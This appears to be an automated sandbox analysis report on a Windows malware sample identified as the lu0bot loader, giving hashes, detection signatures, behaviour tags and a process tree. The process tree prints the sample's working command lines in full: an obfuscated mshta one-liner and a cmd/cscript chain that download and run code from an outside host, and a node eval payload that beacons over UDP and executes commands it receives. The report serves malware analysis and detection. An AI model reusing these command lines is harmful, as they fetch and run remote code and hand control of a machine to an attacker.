Analysis
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max time kernel
149s -
max time network
184s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
28-07-2021 13:06
Static task
static1
Behavioral task
behavioral1
Sample
eufive_20210728-150311.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
General
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Target
eufive_20210728-150311.exe
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Size
3KB
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MD5
fad837e4ca6d812d41eb543a9fd06e1f
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SHA1
efb7c567194b1de7b8cadd5f42296858af1bcec0
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SHA256
b31bfcf253f43c08bdd92beb319b394c122400f4da864a47d5ac086e913ebffc
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SHA512
78deb668d77cd154301282029bbf0b696b81457fb747735c31661b730a5c5a7485f814e12f0fb8a5dd27bab04aac5c6f6d739225bfbc769910f7403a6a52c5eb
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
flow pid Process 3 1324 mshta.exe 4 1960 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 1796 node.exe -
Loads dropped DLL 1 IoCs
pid Process 1072 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1648 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1268 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1956 ipconfig.exe 1544 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 796 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\d824645a17ee763c:ads node.exe File created C:\ProgramData\DNTException\node.exe:e82aa242d360833918d9707a27ea3dff node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1796 node.exe 1796 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1268 tasklist.exe Token: SeIncreaseQuotaPrivilege 1660 wmic.exe Token: SeSecurityPrivilege 1660 wmic.exe Token: SeTakeOwnershipPrivilege 1660 wmic.exe Token: SeLoadDriverPrivilege 1660 wmic.exe Token: SeSystemProfilePrivilege 1660 wmic.exe Token: SeSystemtimePrivilege 1660 wmic.exe Token: SeProfSingleProcessPrivilege 1660 wmic.exe Token: SeIncBasePriorityPrivilege 1660 wmic.exe Token: SeCreatePagefilePrivilege 1660 wmic.exe Token: SeBackupPrivilege 1660 wmic.exe Token: SeRestorePrivilege 1660 wmic.exe Token: SeShutdownPrivilege 1660 wmic.exe Token: SeDebugPrivilege 1660 wmic.exe Token: SeSystemEnvironmentPrivilege 1660 wmic.exe Token: SeRemoteShutdownPrivilege 1660 wmic.exe Token: SeUndockPrivilege 1660 wmic.exe Token: SeManageVolumePrivilege 1660 wmic.exe Token: 33 1660 wmic.exe Token: 34 1660 wmic.exe Token: 35 1660 wmic.exe Token: SeIncreaseQuotaPrivilege 1660 wmic.exe Token: SeSecurityPrivilege 1660 wmic.exe Token: SeTakeOwnershipPrivilege 1660 wmic.exe Token: SeLoadDriverPrivilege 1660 wmic.exe Token: SeSystemProfilePrivilege 1660 wmic.exe Token: SeSystemtimePrivilege 1660 wmic.exe Token: SeProfSingleProcessPrivilege 1660 wmic.exe Token: SeIncBasePriorityPrivilege 1660 wmic.exe Token: SeCreatePagefilePrivilege 1660 wmic.exe Token: SeBackupPrivilege 1660 wmic.exe Token: SeRestorePrivilege 1660 wmic.exe Token: SeShutdownPrivilege 1660 wmic.exe Token: SeDebugPrivilege 1660 wmic.exe Token: SeSystemEnvironmentPrivilege 1660 wmic.exe Token: SeRemoteShutdownPrivilege 1660 wmic.exe Token: SeUndockPrivilege 1660 wmic.exe Token: SeManageVolumePrivilege 1660 wmic.exe Token: 33 1660 wmic.exe Token: 34 1660 wmic.exe Token: 35 1660 wmic.exe Token: SeDebugPrivilege 1544 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2016 wrote to memory of 1324 2016 eufive_20210728-150311.exe 25 PID 2016 wrote to memory of 1324 2016 eufive_20210728-150311.exe 25 PID 2016 wrote to memory of 1324 2016 eufive_20210728-150311.exe 25 PID 2016 wrote to memory of 1324 2016 eufive_20210728-150311.exe 25 PID 1324 wrote to memory of 1712 1324 mshta.exe 27 PID 1324 wrote to memory of 1712 1324 mshta.exe 27 PID 1324 wrote to memory of 1712 1324 mshta.exe 27 PID 1324 wrote to memory of 1712 1324 mshta.exe 27 PID 1712 wrote to memory of 1960 1712 cmd.exe 29 PID 1712 wrote to memory of 1960 1712 cmd.exe 29 PID 1712 wrote to memory of 1960 1712 cmd.exe 29 PID 1712 wrote to memory of 1960 1712 cmd.exe 29 PID 1712 wrote to memory of 700 1712 cmd.exe 31 PID 1712 wrote to memory of 700 1712 cmd.exe 31 PID 1712 wrote to memory of 700 1712 cmd.exe 31 PID 1712 wrote to memory of 700 1712 cmd.exe 31 PID 1712 wrote to memory of 1072 1712 cmd.exe 32 PID 1712 wrote to memory of 1072 1712 cmd.exe 32 PID 1712 wrote to memory of 1072 1712 cmd.exe 32 PID 1712 wrote to memory of 1072 1712 cmd.exe 32 PID 1072 wrote to memory of 1796 1072 cscript.exe 33 PID 1072 wrote to memory of 1796 1072 cscript.exe 33 PID 1072 wrote to memory of 1796 1072 cscript.exe 33 PID 1072 wrote to memory of 1796 1072 cscript.exe 33 PID 1796 wrote to memory of 328 1796 node.exe 37 PID 1796 wrote to memory of 328 1796 node.exe 37 PID 1796 wrote to memory of 328 1796 node.exe 37 PID 1796 wrote to memory of 328 1796 node.exe 37 PID 1796 wrote to memory of 1348 1796 node.exe 38 PID 1796 wrote to memory of 1348 1796 node.exe 38 PID 1796 wrote to memory of 1348 1796 node.exe 38 PID 1796 wrote to memory of 1348 1796 node.exe 38 PID 1796 wrote to memory of 1648 1796 node.exe 39 PID 1796 wrote to memory of 1648 1796 node.exe 39 PID 1796 wrote to memory of 1648 1796 node.exe 39 PID 1796 wrote to memory of 1648 1796 node.exe 39 PID 1796 wrote to memory of 924 1796 node.exe 40 PID 1796 wrote to memory of 924 1796 node.exe 40 PID 1796 wrote to memory of 924 1796 node.exe 40 PID 1796 wrote to memory of 924 1796 node.exe 40 PID 1796 wrote to memory of 1876 1796 node.exe 41 PID 1796 wrote to memory of 1876 1796 node.exe 41 PID 1796 wrote to memory of 1876 1796 node.exe 41 PID 1796 wrote to memory of 1876 1796 node.exe 41 PID 1796 wrote to memory of 1268 1796 node.exe 42 PID 1796 wrote to memory of 1268 1796 node.exe 42 PID 1796 wrote to memory of 1268 1796 node.exe 42 PID 1796 wrote to memory of 1268 1796 node.exe 42 PID 1796 wrote to memory of 1660 1796 node.exe 44 PID 1796 wrote to memory of 1660 1796 node.exe 44 PID 1796 wrote to memory of 1660 1796 node.exe 44 PID 1796 wrote to memory of 1660 1796 node.exe 44 PID 1796 wrote to memory of 1956 1796 node.exe 45 PID 1796 wrote to memory of 1956 1796 node.exe 45 PID 1796 wrote to memory of 1956 1796 node.exe 45 PID 1796 wrote to memory of 1956 1796 node.exe 45 PID 1796 wrote to memory of 1688 1796 node.exe 46 PID 1796 wrote to memory of 1688 1796 node.exe 46 PID 1796 wrote to memory of 1688 1796 node.exe 46 PID 1796 wrote to memory of 1688 1796 node.exe 46 PID 1796 wrote to memory of 1544 1796 node.exe 47 PID 1796 wrote to memory of 1544 1796 node.exe 47 PID 1796 wrote to memory of 1544 1796 node.exe 47 PID 1796 wrote to memory of 1544 1796 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 924 attrib.exe 1876 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\eufive_20210728-150311.exe"C:\Users\Admin\AppData\Local\Temp\eufive_20210728-150311.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2016 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();139;y=unescape('%315%7Eh%74t%70%3A%2F%2F%61s%750%35%2E%66u%6E%2F%68r%69%2F%3F2%66e%32e%32b%7E1').split('~');45;try{x='WinHttp';246;x=new ActiveXObject(x+'.'+x+'Request.5.1');132;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);222;x.send();68;y='ipt.S';234;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);208;}catch(e){};13;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1324 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1627477628323.txt & cscript /nologo /e:jscript get1627477628323.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2903a9f53%26b%3D4491c685" node.cab & expand node.cab node.exe & del get1627477628323.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1627477628323.txt & cscript /nologo /e:jscript get1627477628323.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27903a9f53%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1627477628323.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1627477628323.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2903a9f53%26b%3D4491c685" node.cab4⤵
- Blocklisted process makes network request
PID:1960
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:700
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1627477628323.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27903a9f53%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27903a9f53%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:328
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1348
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1648
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:924
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1876
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1268
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1660
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1956
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1688
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1544
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:796
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